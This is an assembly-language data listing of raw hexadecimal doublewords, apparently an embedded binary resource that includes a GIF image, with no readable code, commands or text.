dd 0A59A6DC5h, 6F9D7BD2h, 0AE5B8AF9h, 0A7E6E8ACh, 0CAED45AEh
dd 18BC1E5Ah, 0C4D51879h, 4EF4C11Ah, 5C5A35A8h, 7C8D456Ch
dd 9ACBC992h, 1487F28Ch, 320F843h, 411C120Ah, 3242C2C4h
dd 24A9A7ACh, 0ACB144DBh, 71CB0F15h, 0EB9F3FADh, 72EFC65Bh
dd 4C688E74h, 0BCAB291Bh, 515BEB2Ah, 0F23CA212h, 0AC972488h
dd 350E03A1h, 68240B8h, 51E19C0Fh, 0B88B12B7h, 0B31FC46Eh
dd 70D16149h, 0BA748C63h, 31EBB347h, 0A46F20ADh, 6EDBFE56h
dd 0DFB46CAFh, 8D1DD14h, 1508721h, 9C2B0982h, 30601E0h
dd 0D9C3B13Ch, 4E37E73Eh, 5B7B6BC9h, 0A66CAAD1h, 75C5F71Ah
dd 4539EDD3h, 3529DF19h, 539B7AAFh, 0A5E5C41Dh, 1EBE1379h
dd 4D15D53h, 83D1F48Dh, 0B0641403h, 141005C1h, 7017C330h
dd 0BCDBAE45h, 67CE55EEh, 5918F27Eh, 0FFC8D57Ch, 1ADCFA0Dh
dd 678FFE77h, 1377E7C7h, 7E5DDAE9h, 2FD13EEAh, 29B7B93Fh
dd 0BCDDAF2Bh, 4640BD13h, 60100A04h, 1C0902C0h, 201B0370h
dd 7F278DA1h, 0F1EF0A46h, 4927F03Bh, 8BCEFDF4h, 47D2BCDEh
dd 0F51E55C7h, 0A2898313h, 3F4226h, 0F98048D1h, 0B6D15509h
dd 70151185h, 80C0461h, 2A0200h, 20003085h, 8C441838h
dd 919832C7h, 9816406h, 1A820825h, 12C1C096h, 266A2562h
dd 0BA0888CCh, 0A4010560h, 0D13B85F0h, 48670C1Fh, 0CAC89CC3h
dd 0A1CC353Bh, 1DF2450Eh, 87F0ED50h, 0A20C400Ah, 44488710h
dd 4048Fh, 3Bh, 0
dd 38464947h, 0F96139h, 35A501DBh, 0F0E4D000h, 0D1EBE6CEh
dd 0E5D4F1E5h, 0ECE7CFEBh, 0D5F2E6D2h, 0E8D3ECE6h, 0F4E7D3E7h
dd 0D0EDE7D6h, 0E9D4EDE9h, 0F5E8D4E8h, 0D1EFE8D7h, 0EBD2EFEAh
dd 0F0E9D9F0h, 0D3EAEBD5h, 0EADAF1ECh, 0EBEADDF1h, 0D4EBECD7h
dd 0EBDBF2EDh, 0ECEBDEF2h, 0D5ECEDD8h, 0ECDCF3EEh, 0EDECDFF3h
dd 0D7EDEED9h, 0EDE0F4EFh, 0EEEFDAEEh, 0E1F4EEDDh, 0EDE4EFEEh
dd 0F5EFDEF5h, 0DFF7EEE5h, 0F0E2F6F0h, 0F8F1E0F0h, 0E1F1F1E3h
dd 0F0E8F9F2h, 0F3F2E5F9h, 0E6FAF3E3h, 0F4E4F4F3h, 0F5F2EDFBh
dd 0EEF5F4E7h, 0F5E8F6F3h, 0F7F6E9F6h, 8 dup(0FFFFFFFFh)
dd 4F921FFh, 3F000A01h, 2C00h, 0F90000h, 60001DBh, 7089C0FEh
dd 2F0A2C48h, 8972A4C8h, 0CC3738DCh, 552A1268h, 2317271Eh
dd 7AEDA916h, 788844BFh, 0CB848622h, 4CD0F4E8h, 70DFBB06h
dd 4F4E7578h, 6DD9B9CAh, 0C7A7CF7Dh, 46636CC1h, 86856982h
dd 656D8587h, 6C63666Bh, 92917F6Dh, 79945C44h, 78577B97h
dd 4F54557Dh, 9CA1A09Fh, 0A6935875h, 908D8180h, 43ADACA7h
dd 52B1B0A3h, 0B6B5A19Eh, 0B94D4EB7h, 0AE9CA217h, 4BA6C0BFh
dd 9DC47D7Ah, 0B6C84F4Ah, 214EB8B0h, 0D2D1D0CFh, 0D6D5CDCFh
dd 98967EBDh, 0A572C1A5h, 0E0C6E076h, 0D7D7E4B2h, 0EAD3B74Bh
dd 0E621ECEBh, 56E4F0EFh, 0F2C1C456h, 0B4BCC973h, 0B550C9BBh
dd 519AF0FAh, 0A0AED4FBh, 0A6CE7541h, 3030DB39h, 548043A0h
dd 223949EEh, 74444991h, 0DC397510h, 0C7A0F0E8h, 3E41208Fh
dd 1971C771h, 2D155DC4h, 0B2C95C96h, 3090A825h, 844CA63h
dd 26C3E5CDh, 0B46A5051h, 0FEE7B3C9h, 834099B5h, 0B3E86D0Ah
dd 1DA3D1A8h, 0CA1CBE49h, 0A7D3A9B4h, 9D4AA350h, 0D5AAB54Ah
dd 6AB358ABh, 0ABB5CADDh, 0C360AFD7h, 0B64B1D8Ah, 68B3D9ACh
dd 0CB5DAAD3h, 0B7DBADB6h, 9DCAE370h, 0DDAEB74Bh, 0EAF378BBh
dd 0AFB7CBDDh, 380BFDFh, 0B84C1E0Bh, 88C3E1B0h, 0CC5E2B13h
dd 0C7E3B1B8h, 9E4B2390h, 0E5B2B94Ch, 6B3398CBh, 0B3B9CCDEh
dd 43A0CFE7h, 0BA4D1E8Bh, 0A8D3E9B4h, 0CD5EAB53h, 0D7EBB5BAh
dd 9ECB63B0h, 0EDB6BB4Dh, 0EB73B8DBh, 0B7BBCDDEh, 83C0DFEFh
dd 0BC4E1F0Bh, 0C8E3F1B8h, 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h
dd 0F5BABD4Eh, 6BB3D8EBh, 0BBBDCEDFh, 0C3E0EFF7h, 0BE4F1F8Bh
dd 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh, 9FCBE3F0h, 0FDBEBF4Fh
dd 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh, 480E028h, 81E06816h
dd 0E0A82608h, 0E8360C82h, 461083E0h, 1484E128h, 85E16856h
dd 0E1A86618h, 76FE1C86h, 2087E1E8h, 88E22886h, 0E2689624h
dd 0A8A62889h, 0B62C8AE2h, 308BE2E8h, 8CE328C6h, 0E368D634h
dd 0A8E6388Dh, 0F63C8EE3h, 408FE3E8h, 90E42906h, 0E4691644h
dd 0A9264891h, 364C92E4h, 5093E4E9h, 94E52946h, 0E5695654h
dd 0A9665895h, 765C96E5h, 6097E5E9h, 98E62986h, 0E6699664h
dd 0A9A66899h, 0B66C9AE6h, 709BE6E9h, 9CE729C6h, 0E769D674h
dd 0A9E6789Dh, 0F67C9EE7h, 809FE7E9h, 0A0E82A06h, 0E86A1684h
dd 0AA2688A1h, 368CA2E8h, 90A3E8EAh, 0A4E92A46h, 0E96A5694h
dd 0AA6698A5h, 769CA6E9h, 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h
dd 0AAA6A8A9h, 0B6ACAAEAh, 0B0ABEAEAh, 0ACEB2AC6h, 0EB6AD6B4h
dd 0AAE6B8ADh, 0F6BCAEEBh, 12AFEBEAh, 0B0C26092h, 8248842Ch
dd 0DB0EC3B0h, 742E0BC2h, 0D0B26C78h, 0B4C2D09Ah, 2C785826h
dd 709AD1B2h, 0C2DB0ADh, 0C884C24Bh, 0B5ED9B76h, 2DAB48D0h
dd 3417FE49h, 0DBB8ECF8h, 90D1B7Eh, 0C54B7ED4h, 0BAE0904h
dd 30ECB6EDh, 95BCAE64h, 0B3E01BD0h, 0AF8B46E2h, 2B20B534h
dd 0F845142Fh, 3C0AD87h, 0C18B8347h, 9F916AE8h, 8B92F7BDh
dd 0F2DE4090h, 0F211879Bh, 0B1F0CC51h, 421398EBh, 0E17F1AB2h
dd 831FC2DEh, 1046F0ECh, 7A86E2E7h, 0B2AC56E1h, 8CB52542h
dd 6DE31BF0h, 4CCEECBh, 0B7B234B7h, 0C60BF4EEh, 4C06EB77h
dd 0F32BC5B2h, 0F3B9F3F4h, 0B541B1C2h, 347CA1D9h, 51D35D2h
dd 0CB37D32Fh, 3A74B501h, 522F9CEFh, 0B1BD62FAh, 0EBA421D6h
dd 5F29CC5Ch, 2448F60Ch, 1C363D07h, 2FE06EDAh, 4C671E72h
dd 876BD575h, 93DBAFB2h, 4372B1Ch, 0EDAD49C6h, 5DE778DDh
dd 0F72ED030h, 9DFC24Dh, 0D4F826FCh, 0CB8E1B6Ah, 2D66EECFh
dd 9021C8C9h, 0B9E34101h, 0BBB53DD5h, 0CD5E4B49h, 0F29B25D2h
dd 2462D974h, 756D39C0h, 0E17A0BB7h, 76D35FA2h, 54C2E2FEh
dd 0AAE6C59Bh, 0DDB9E6BFh, 8F0EC75Fh, 624F6FCDh, 0E7AA193Bh
dd 83E3DAAEh, 0EF944CF3h, 0F41D011Dh, 5F137E2Fh, 0B5A3EAFCh
dd 0CCE46EDEh, 0DF3A446Fh, 0FB8F44AEh, 0DE09A2F4h, 0B7D9CF70h
dd 0ACE5BB34h, 0E6B8B084h, 0FEE033C5h, 4F27C866h, 13DF973h
dd 0B7E9CC1Fh, 65C68EE3h, 3E4F5F8Fh, 1CA13DFDh, 0AC68435h
dd 7F2DC45Eh, 64821082h, 0D0BCA7ACh, 0B3803001h, 0F6182023h
dd 249CB4C0h, 0E3BB3104h, 681EF61Dh, 0A179FB14h, 160A00Fh
dd 4F246D6h, 7FA61A05h, 71E5BE3h, 742D86C1h, 0EB297081h
dd 0B00B8170h, 0C430426h, 9BFE6A46h, 170D0ADFh, 45297882h
dd 0E0B93B27h, 30375C33h, 1101416Fh, 0D74BE065h, 1DBBD664h
dd 0E61A2DE6h, 7E49173Ah, 0B86910C8h, 505321AEh, 8716C8C2h
dd 25D84440h, 9FFBF283h, 11E27D13h, 5C40B813h, 1116FAE4h
dd 3A8F9691h, 4861116Ch, 0FE5CA24Ch, 0D84397C4h, 1E25918Dh
dd 63199D71h, 497B82B0h, 28FD1FD1h, 173501C7h, 0E5ADC047h
dd 0DE4AD95Ah, 4778C4EBh, 8F441C78h, 0B961C89h, 19831068h
dd 29880C82h, 0E0B0C241h, 98314858h, 0D3465EC5h, 391B2320h
dd 2BB63CBAh, 419CA892h, 0C9872AB7h, 58605E4Ch, 27642365h
dd 14C742C7h, 93949152h, 0C11AC763h, 50763198h, 7117846Bh
dd 0D78726A5h, 2579FDC9h, 23B4B691h, 49023F29h, 8C314654h
dd 2AD78106h, 264C287Fh, 0C579EB08h, 0E2556394h, 125C4C97h
dd 8CBB1DA4h, 0F81B185Fh, 0A52A1F11h, 63784C9Ah, 95298B17h
dd 8EF2DA0Ch, 33A53CCCh, 691515D9h, 0E89D1302h, 65170168h
dd 0D4A7CD99h, 8C2B9C92h, 9E73CA7h, 0B398AB39h, 826CF88Dh
dd 4D99393Eh, 7764C66Dh, 0EFA5BCC9h, 824449C0h, 0F62BF416h
dd 0AB2B583Ch, 366234F9h, 613298D4h, 0EA2F0881h, 0A481B5C0h
dd 180CA899h, 72FEC4E1h, 13A28DD0h, 28FCEB96h, 40DA4650h
dd 977451C9h, 1CE35504h, 84CF78CFh, 479AE12Eh, 801A68FCh
dd 0AE654D32h, 0B503A4E4h, 0D2F114A8h, 0F4FA60D2h, 0A7DAC202h
dd 133A8750h, 29344A58h, 52A35905h, 0BCC8B6DBh, 1AA78090h
dd 0D54FAA75h, 0CEA14FC9h, 14C0262Dh, 0B9114DD9h, 0E622A5D5h
dd 2A7C5897h, 5539063Ah, 28012041h, 3461847Fh, 72539A93h
dd 0D4A32626h, 6012EB94h, 5262D65Ah, 29338AA4h, 0C9C23AAAh
dd 0E652BF4Bh, 2C151A97h, 0D53B0813h, 9AE3382Dh, 0FA9C1D89h
dd 95489AF8h, 8033163Ah, 76484FDh, 35BFAD5Bh, 4BEAB0F4h
dd 0C2636216h, 72465082h, 0D691A78Dh, 5A3A1134h, 0B0D5D2A8h
dd 1ED4D96h, 0D6D216CDh, 0ACABB67Ah, 476D2D09h, 0EAC3564Bh
dd 0D365B742h, 7A744CE2h, 0B08ED91Bh, 6A9573B6h, 306B511Ch
dd 0B8473EB1h, 0D3EB952Eh, 23888BA4h, 5588D65Ch, 67198E70h
dd 0C15DFE9Bh, 8710F652h, 92B20865h, 60E6073Bh, 3DB5AC57h
dd 5B72226Fh, 0C72C3E5Dh, 0AE8591B9h, 68B6F35h, 0A617AACBh
dd 57CE489Ch, 0FD561845h, 6CBF845Ah, 4D6E8268h, 203A5F00h
dd 34E7BF07h, 0A9F764F0h
dd 5782EA39h, 0A9138116h, 51C24D8h, 0BBE252C2h, 7147BBB6h
dd 0FD5E56F6h, 0FA6C735Eh, 2B172D48h, 6F019C32h, 5E07C398h
dd 0EBD782B1h, 6FAD5CAh, 31860DC2h, 0AC82092Ch, 8842C71Ch
dd 868121BCh, 2AE3072Bh, 0BB886F38h, 5F6AF1ADh, 0E0D86362h
dd 7DD0C4B8h, 0C5D7811Ah, 633A615Eh, 0CDA4B76Bh, 5585D90h
dd 9F6488Ah, 0C9014D5Fh, 2B8F2C7Ch, 0A1B100B7h, 0AD198D90h
dd 8C4C664Ah, 542F15E2h, 0E5E20C6Fh, 4BEB2B66h, 4D88E984h
dd 0E5CC080Ah, 0CE02C46Ch, 6A491874h, 85832061h, 669D0C6Eh
dd 184FED2Eh, 0ACD064D2h, 0B66D6A19h, 0E1323883h, 565C59E5h
dd 1802958h, 0AFDB4A0Ch, 57A494FEh, 61542258h, 0E822043Ah
dd 0C5F9ECCBh, 1CC3B851h, 240CA0BEh, 0DC86773Bh, 67AA453Bh
dd 0D6A32E6Ch, 70EFAAE2h, 9807A3CCh, 0A290370Dh, 35711A0Bh
dd 0ADF0520Bh, 126FA255h, 0AC2D48F8h, 773D9D6Dh, 0A72F6350h
dd 5230D83Eh, 6B5F86FDh, 0AE12123h, 168033F5h, 0E3D3643Ch
dd 962826B8h, 977CD337h, 1E8DBB5Dh, 1EB5EEB2h, 6EAC4DB0h
dd 72DDCBBDh, 9D9C06EBh, 2F5C2DC0h, 8973D9D3h, 0ED259F76h
dd 0A258898Ah, 0A4B2C88Ah, 0EA1042C3h, 0D682FF63h, 35B71EE2h
dd 316E12DCh, 0C30B2C6Bh, 69977838h, 4F6D2D2Dh, 0EEDDDE03h
dd 7B522F37h, 84FF8566h, 85DEFA2Dh, 9D08BBCh, 0B816B710h
dd 0C8E41EDBh, 16DFF0B1h, 0DFE3DBD8h, 8458B204h, 0AF2E70ECh
dd 0F8CAE49Ch, 0AD15B86Fh, 0EBCB2142h, 77AF1BE6h, 8D61D033h
dd 2CCF339Ch, 0BA36973Bh, 68053E81h, 4BCC4B70h, 33C14509h
dd 0FEBB8ADEh, 0C71CFA62h, 303E8800h, 23AEC802h, 46C39685h
dd 0C1EDD535h, 955F9DEEh, 0B620268Ah, 0BEAE35C1h, 0E8A0A414h
dd 8FAEC87Bh, 0B0464223h, 12DF7D24h, 0B98CC6ECh, 0A9D97055h
dd 1EE9EC7Dh, 5EE1D419h, 0C4E8515Bh, 61814C91h, 761887A3h
dd 0E56133A5h, 0B0D645C7h, 815A2717h, 8F825A84h, 6BE8610h
dd 145E0B8Fh, 38FCD2D9h, 9287ADC9h, 0DDDC6967h, 0BA6F23A5h
dd 512053E4h, 0D39087D1h, 0B22FE867h, 6AE0CCEFh, 0B9199E7Ch
dd 6D930984h, 0D4174561h, 0DF7ABB3Ch, 7D4F6A78h, 0C282208Bh
dd 6F9BE8E1h, 677D7DE6h, 0F6FD0FCAh, 416528A3h, 0D39258AAh
dd 1E1818FBh, 0D59EF5A0h, 0D3E379DEh, 47B1EFFBh, 0EF361CAFh
dd 0BF407FFCh, 0C76FA5CCh, 0F78CA751h, 0E75C1FC7h, 0EBBE7F7Dh
dd 0F0E21E09h, 1F15621Bh, 0FDF77E6Ch, 67F3E93Dh, 672F2031h
dd 7C7D60Dh, 717DA405h, 27DE7583h, 4353CF66h, 5FED5B8h
dd 0F66777D9h, 0E36F6EA6h, 43C7447Fh, 42F367Ch, 67D90928h
dd 0E636580h, 3B04F12Ah, 351F3636h, 82501204h, 69577066h
dd 36AB72F7h, 7106D441h, 77386612h, 0E07569D7h, 79109101h
dd 537502C3h, 0F8398080h, 5856147Dh, 13012485h, 0F8408250h
dd 75E78280h, 2C6D60A0h, 661C74B8h, 40481752h, 3401E073h
dd 0F81B0708h, 41680A5Dh, 0F412A7B6h, 88513657h, 44800A44h
dd 61576012h, 884783B3h, 74B41F84h, 485FA680h, 0B3C18311h
dd 85105581h, 985EA849h, 70F860C6h, 82174485h, 8685F042h
dd 0D0100090h, 85F08885h, 1533F0AFh, 58645A28h, 63041286h
dd 9C7F4146h, 0A86C7196h, 85085004h, 7F85482Ch, 0C7F26817h
dd 7E002704h, 0A087841h, 287C3D30h, 8568617Eh, 54071650h
dd 86957117h, 86A1454Fh, 4B88D05Fh, 586E88D0h, 64885304h
dd 756556C3h, 0C0C88930h, 82661402h, 8990FE86h, 8989B3C5h
dd 52C80BC0h, 6B62572h, 0BE7F88C0h, 0E0460DF6h, 52340153h
dd 0A880E6B1h, 588E8AA8h, 246298Ch, 9173B027h, 87E67466h
dd 83801B09h, 0B8065531h, 0A3AA3D38h, 8BC0638Bh, 9E8736C4h
dd 27E165D7h, 6280C04Bh, 0DA3E6676h, 0C0467796h, 7388EE8Ch
dd 0E8024890h, 0B0988D57h, 89805C49h, 0DD8DC3DFh, 28E05FD8h
dd 7FC8E28Fh, 5A5F37F6h, 38350AA0h, 33E0F70Fh, 5288976Eh
dd 58AA8EE8h, 7535FF69h, 0AF0D88F3h, 508C6270h, 98DB08h
dd 9A91900Ah, 572C87C8h, 0B28FE89h, 349D05Dh, 70928C29h
dd 82E0DF68h, 18D47FDh, 0B34D7491h, 7448EE90h, 2702C7C3h
dd 0B6500B90h, 88288109h, 0C371687h, 0B9190698h, 93F93D8Dh
dd 120108B9h, 0F8B08E00h, 48592166h, 3708B083h, 0D7A08677h
dd 7804153Ch, 0FF8CC05Ah, 380A6487h, 8A39005Ch, 4313A862h
dd 0D9167E00h, 95E8B993h, 917918FEh, 2401B943h, 0F0F276F0h
dd 4FC80D05h, 9209A94Bh, 76421018h, 84207980h, 41842972h
dd 18629518h, 75B87293h, 2A8CE694h, 0C2C27119h, 94087C50h
dd 1A93E95Fh, 8E00629h, 6D49585Fh, 69840046h, 996B9029h
dd 3187AE92h, 7387794Fh, 0E8409959h, 6986D88Ch, 0EA459891h
dd 0A81F7386h, 3F801395h, 8293F4B2h, 991A9A49h, 9A185D89h
dd 0DC562965h, 84358830h, 3AA06987h, 0DA98F5A7h, 0F0D59370h
dd 97179496h, 249BB996h, 17DB6EC7h, 6AC0BE61h, 1701E815h
dd 10270581h, 93D0124Bh, 839A487Bh, 0B9619189h, 299AA8Fh
dd 0D394C98Ah, 0A9B19729h, 9D88F987h, 6A93B922h, 69587070h
dd 76901F0Eh, 429963A5h, 15D49BC9h, 7BE0298Dh, 0C186301Fh
dd 0F4166C09h, 85F3C378h, 0F39A59A6h, 100A8B89h, 270279Ah
dd 298EC82Eh, 78978AB9h, 3D38FA9Dh, 0B287A085h, 0B94808B9h
dd 0FE29477Ch, 3059B69Ch, 0D6389604h, 50629B09h, 10C6F399h
dd 276C3895h, 0CA1801F0h, 8498199Eh, 8B9C4048h, 72C70598h
dd 9F59613Bh, 0D39F39A8h, 0C9FA9F83h, 7D941F96h, 4488D86Ch
dd 19CA8B60h, 0A038FAA0h, 0DB08EA05h, 4A3808C9h, 9599B592h
dd 0E376E669h, 87885F9h, 825065A1h, 0BF5FF65Eh, 8A1901B9h
dd 0A1C97B0Dh, 1BA1FA1Dh, 0B0139330h, 0A23A2691h, 0AA91A940h
dd 8C50279h, 86E90C06h, 608DA842h, 3C5A329h, 83EA35A0h
dd 48A0606Ah, 4A0B9EE9h, 337A0D6Fh, 42A11A5Dh, 98CF8FCAh
dd 9F93276h, 0AEA1AA49h, 0F04C05A9h, 3994AFA1h, 24A249F6h
dd 49F79CEAh, 9639996h, 248EF06Fh, 9A68788h, 65A02A6h
dd 36575A33h, 0FA785DDAh, 6C47C799h, 489D63DCh, 0D7000AF4h
dd 4F93370h, 56A75A18h, 46D58E49h, 8F202707h, 5491A3B8h
dd 0A9CCA55Ah, 21A4F9Ch, 0D0A6942h, 2A5EA879h, 1AFE8A98h
dd 0A8EA01A6h, 0BA9D4566h, 0B9B81000h, 7E29E480h, 0A78D004Dh
dd 0EA9D4B76h, 82BA7AA9h, 0F90516AAh, 0E9833729h, 899AA9A7h
dd 1C10C010h, 0E997A430h, 0AD384005h, 0D6AAF013h, 88DC9F59h
dd 0A8DAB300h, 899B3AB6h, 0DA3FA939h, 9B0A10A5h, 0E599A587h
dd 0AAC30A07h, 0A68A77A4h, 80966116h, 9A26ACCAh, 24ACF91h
dd 5D85D01Ch, 1AD4A448h, 42AD584h, 7F826AD8h, 0DADC3C5Ah
dd 0ADFADEADh, 0BAA3BA67h, 784D0270h, 902973A8h, 12C9741h
dd 4A76A9D8h, 5898E86h, 0E101DA7Ah, 43AA0128h, 0ACDAF200h
dd 1796485Dh, 0D94293F0h, 997994AAh, 25A2E9BCh, 89F39CBBh
dd 0B03B0300h, 68A8BB04h, 59B2A040h, 99EAB6A3h, 0BA3E0C8h
dd 5A40AFC8h, 616AE69Eh, 9101C2DAh, 1A9EAEA9h, 79899011h
dd 500439DDh, 8A508948h, 0B1DB1C9Ah, 7C9A19A6h, 5AD2A25Ah
dd 0AD59BBB2h, 0AD588Eh, 0CB2CA24Bh, 5B2FFEB2h, 0B05B31ABh
dd 21B08ADFh, 0D45D7BF0h, 6E0B3DA6h, 9CA69A3Eh, 4938B12Ah
dd 8598C86h, 49A2CAD3h, 702101E0h, 8DDB21A1h, 64B4FB4Eh
dd 0E9F30139h, 9C9B55A6h, 3AAD7973h, 0B9F5B59Bh, 0B5DB2EB5h
dd 60A8CA61h, 3409B06Ah
dd 0A6499B58h, 95741B8Dh, 0C1399338h, 1E0B701h, 4E85001Fh
dd 98D3B960h, 44B7094h, 1C048B49h, 0F8347AC0h, 0B79B4D93h
dd 2A8BC010h, 0BB3C9A6Bh, 0A1287B9Bh, 86ACCB0Dh, 0FA33B88Bh
dd 65EB8CB2h, 8680B33Fh, 9616A100h, 9D9FA02h, 180B5B9Ch
dd 0C01BB9AAh, 692BC601h, 159FE051h, 7B48B9F9h, 0BBE7D901h
dd 0A601E01Bh, 9B1DBA7Bh, 0BAB0CFBAh, 0ABD9F3h, 5B84B7FBh
dd 3AABB3B8h, 88005005h, 0CA329D9Bh, 9DA088A8h, 0E20477E2h
dd 5B233599h, 34B5A8A6h, 0C183301Fh, 6BC4BC2Bh, 95881BBCh
dd 0A05D305Eh, 19F9850Bh, 93DB1ABFh, 0CCBD4004h, 8027BD6Ah
dd 0A95EBDFEh, 9A49E49Ch, 5CB1DB7Fh, 2BE1B2EBh, 0B04BB4BEh
dd 32A053A9h, 2A973A9Bh, 0BBA51D04h, 2E06A9E5h, 98955EA8h
dd 0BC6BF297h, 99BF304Fh, 6BC5020Bh, 9D3095BFh, 118DE7B1h
dd 901FBFBAh, 0B7CBF102h, 9B1DBD3h, 0E0CF9430h, 0AB1A11B4h
dd 4E9BB9A6h, 0FB033AABh, 0C10BE2C0h, 0FAA8AC11h, 0AB60B8A3h
dd 9DC5E006h, 608275FDh, 37AC7696h, 0BC601E0Ah, 1CC52BC1h
dd 4C51B990h, 8A3BF7C5h, 0CA9B005Dh, 0EC2DAF49h, 0BBE018AFh
dd 0D384101Ch, 3A26C02Bh, 0AA79F994h, 6B972A7Eh, 0CB4E996Ch
dd 0C403C5B5h, 12C43C42h, 2C47B32Ch, 0C1A5DB06h, 0B72CB47h
dd 488C8D36h, 4EC80C5h, 8002001Eh, 0A867A2CCh, 0C069FFBCh
dd 0D0B71C5Eh, 59C9017Bh, 9A7C66C6h, 690179F7h, 0F919B79Ch
dd 0AC6BC8h, 79015972h, 0FC72C70Bh, 0CA1C74C0h, 4008BB30h
dd 0E7F70795h, 6639645Dh, 808500E4h, 0FE22B96Ch, 0EC58C27Ch
dd 5AC5ABCh, 0ADB7DC5Ch, 0EB75840Ah, 49A6BFh, 24C01001h
dd 0FC94840Ah, 0C96C9601h, 25015B80h, 0CC9C0158h, 0C9FADCC0h
dd 0A2CA2CA0h, 0CC94069Ch, 7DA9DD5Dh, 0AC0F7C4Fh, 0DCAFCADCh
dd 0AFEC86CAh, 30C88BCEh, 59CAC92Ah, 0C319C69Eh, 0BECBC9F3h
dd 0B9F8BD9Ch, 0CEBCC301h, 0C9012CC8h, 0C009C3DCh, 0CCECCDCCh
dd 80C16C43h, 68FB5D23h, 0C8DB9257h, 81C57115h, 8CDAC22Ch
dd 0CDDAD7B2h, 7DBDDBCAh, 7014825Bh, 0C98C639Ch, 91CBDBA6h
dd 79C4012Ch, 0A24AF702h, 0C6CECC91h, 2C34CEFCh, 3C5CF3CFh
dd 1D009006h, 3B04CF4Dh, 3D25A501h, 0BFBBDA02h, 8CD74AEBh
dd 8CDD01CDh, 45D2CAD7h, 9D07D060h, 0D0C01EACh, 3FCE7D0Dh
dd 0A01F9439h, 0D15ACC9Fh, 0C8CC8CC3h, 2CF1C96Ch, 0C72002C7h
dd 1FBE18DCh, 4A8AD20Dh, 0A3344796h, 106F4CC0h, 0AD294F8Bh
dd 18C58D2h, 0FEA2ED2Ch, 1EFEA109h, 0D39065Bh, 0C00D34B4h
dd 7CBDCBCh, 0BD3AD38Ch, 9F5CEBD3h, 1AC96D3Eh, 18FAC40Dh
dd 0D48D1EBEh, 0DF013A01h, 0CA8BA222h, 0C20AC0C7h, 528AA4E8h
dd 0FD02C58Dh, 9607E1AAh, 760139F3h, 19F5825Bh, 0D60001C0h
dd 5B01793Fh, 0CC01AF2Dh, 0D18C96D3h, 0CC004B1Dh, 0AD43002Ch
dd 6BE0D6h, 6ED47005h, 43EB3E0Dh, 76DC4CBEh, 0CC53ECD5h
dd 0CBF6D798h, 8ABAFED7h, 0A8C3AAD5h, 0E02600AAh, 0D5ED5DBFh
dd 88D36D85h, 6D8FA58Dh, 9F5D65D3h, 90D3B00Bh, 3005D42Dh
dd 6D43D4h, 96C41D1Dh, 5D99DBEDh, 3A8D703Ch, 69C7CA33h
dd 8582B947h, 1CDA2D7h, 0FEAFA90Dh, 3DA8D2FAh, 0D339C79Fh
dd 86D85D3Bh, 8D39BA9Dh, 0D8BB4E01h, 0B700ADB5h, 0EDE19F3Dh
dd 0C40DB9A7h, 96C40D92h, 0BDBEC0FDh, 0D20D98DEh, 5D24D4Ah
dd 18D171BAh, 0DCC5A34Bh, 0D4DA4DA2h, 0CC6AC3AAh, 0D8AA2901h
dd 18AF4DD8h, 32D3FE90h, 0FDDED8ACh, 9A4DE0DDh, 0E5DE300Bh
dd 6DE500ACh, 0D97DE7DEh, 0EBD46DE9h, 72FED99Dh, 0C7CBE401h
dd 0B86F18D1h, 0D88DD77Ah, 88DDCEDCh, 0C877DD0h, 9B1E062Bh
dd 372D7091h, 19DAFD8Fh, 5027B989h, 0CE5C8A01h, 0AC66D8Bh
dd 3E0993DEh, 0E09E0AE3h, 1C90E34h, 0FD92C9FCh, 0D6CDBEE0h
dd 20E13E10h, 0CE162E9Dh, 2FA0638Dh, 0FDB363A8h, 881B81BCh
dd 0D51A4D01h, 0A3C84C54h, 6E21E20Dh, 0ACCA6DB2h, 29064A18h
dd 7E01CBEEh, 0D83DAD02h, 3FD8CE31h, 4E35E379h, 0E30E38E3h
dd 3ED91E31h, 0DE41E11Eh, 0D6DD1CDEh, 25D9BB2Fh, 260C71BDh
dd 0CABB087Bh, 4E8CBB49h, 2CADDA1Eh, 0E54E1FE5h, 0DFE56AD6h
dd 0CC559F5Ch, 0B1CDDDDDh, 39013009h, 5E61CC3Dh, 0E33E35D1h
dd 67E67E66h, 0CD8BE68Eh, 0DBDE3DE3h, 6EDECE6Ch, 3DC2D6DEh
dd 0DF0E44ABh, 652DFBD6h, 0F112E4A5h, 0E7CA2C92h, 7E01CE51h
dd 8001DEFEh, 8B3AA2FEh, 2F4A2406h, 4EA25C8Eh, 9D13E8ABh
dd 0D3CE8DB7h, 8FDB6E8Fh, 1CBBE93Eh, 0E97D42E6h, 0ECDE8E98h
dd 0DDC2A01Dh, 0CFA32E9h, 0DE3A9E16h, 0BC450EE5h, 180B2C7h
dd 48A9E4Eh, 0CED5E79Dh, 0EAACFECAh, 0AC01DEDAh, 0EB3AEACEh
dd 0E2FA6DEAh, 5F36585Dh, 0A9A1A7EEh, 0E8DE8CCEh, 63EBEACCh
dd 3DE3EBDEh, 0EC1E8DE3h, 0EAE3FEC2h, 0A8DCEC5Dh, 3D3EC8E9h
dd 475A6550h, 6A510CFEh, 112ED0E4h, 0CE90CE7Bh, 9ED9ED7Bh
dd 0EDCDCEEAh, 75974850h, 6E24B0D9h, 0E039EBA2h, 21E8AB79h
dd 0ED8BCEBBh, 0DE2DB4D0h, 65DE0DB6h, 1EF0919Eh, 0DBCC0FEFh
dd 99DBBE97h, 7E42002Eh, 8FAE9AEFh, 0CE61F0D4h, 0B94AB8BEh
dd 8A80B2E1h, 0EEF05CDDh, 1DBC68h, 1EE52C8h, 0D0D33F0Ah
dd 7A96A44Dh, 0C5593DC0h, 10C96A51h, 9E280180h, 0F18F17EEh
dd 1CF1CE06h, 0DEB9EBEFh, 0DE7EC2E0h, 0FEE12DEBh, 0F83D3EF6h
dd 0D1FD1DEh, 7C23CF55h, 7BADD017h, 307D989Ch, 0A4DEA7EDh
dd 54BCEF05h, 0BF07E1DDh, 0F3EB57EAh, 54E83B83h, 3D63012Ah
dd 13D88F1h, 0BFE90C02h, 6F4AE31Eh, 0EEFE36C9h, 0EF4F9A4h
dd 0DF24EC2Eh, 3AAF55E6h, 97E13F57h, 5BE44174h, 0F30E76BEh
dd 52F32833h, 701EBA19h, 0F07EACF6h, 3CF93C80h, 0F995B58Fh
dd 0AEB4F0h, 629CB9FAh, 0C017C9AEh, 0F7587BDFh, 0AFD84E04h
dd 0FB4EF19Dh, 0D5EFAAEEh, 7F001E8Dh, 1F26F23Fh, 8FAEF8DCh
